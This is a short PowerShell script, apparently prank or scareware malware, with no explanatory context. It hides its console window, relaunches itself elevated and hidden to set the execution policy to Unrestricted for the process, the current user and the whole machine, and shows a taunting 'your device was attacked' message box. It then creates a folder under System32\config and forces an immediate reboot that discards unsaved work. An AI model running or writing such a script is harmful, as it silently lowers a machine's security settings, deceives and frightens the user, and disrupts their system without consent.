param([switch]$NoUI)

Add-Type -Name Window -Namespace Console -MemberDefinition '
[DllImport("Kernel32.dll")] 
public static extern IntPtr GetConsoleWindow();

[DllImport("user32.dll")] 
public static extern bool ShowWindow(IntPtr hWnd, Int32 nCmdShow);'

$consolePtr = [Console.Window]::GetConsoleWindow()
[Console.Window]::ShowWindow($consolePtr, 0) | Out-Null

$execPolicyCommand = {
    Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope Process -Force | Out-Null
    Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope CurrentUser -Force | Out-Null
    Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope LocalMachine -Force | Out-Null
}

Start-Process powershell -ArgumentList "-NoProfile -Command & {$execPolicyCommand}" -Verb RunAs -WindowStyle Hidden -Wait

if (-not $NoUI) {
    Add-Type -AssemblyName Microsoft.VisualBasic
    $null = [Microsoft.VisualBasic.Interaction]::MsgBox("Baby, your device was attacked!!!`n`nSystem will restart immediately!!!", 'Information,OKOnly', "WARNING")
}

$targetDir = "C:\Windows\System32\config\osdata"
try {
    if (-not (Test-Path -Path $targetDir)) {
        New-Item -Path $targetDir -ItemType Directory -Force | Out-Null
    }
}
catch {
    
}

Start-Process -FilePath "shutdown.exe" -ArgumentList "/r /f /t 0" -WindowStyle Hidden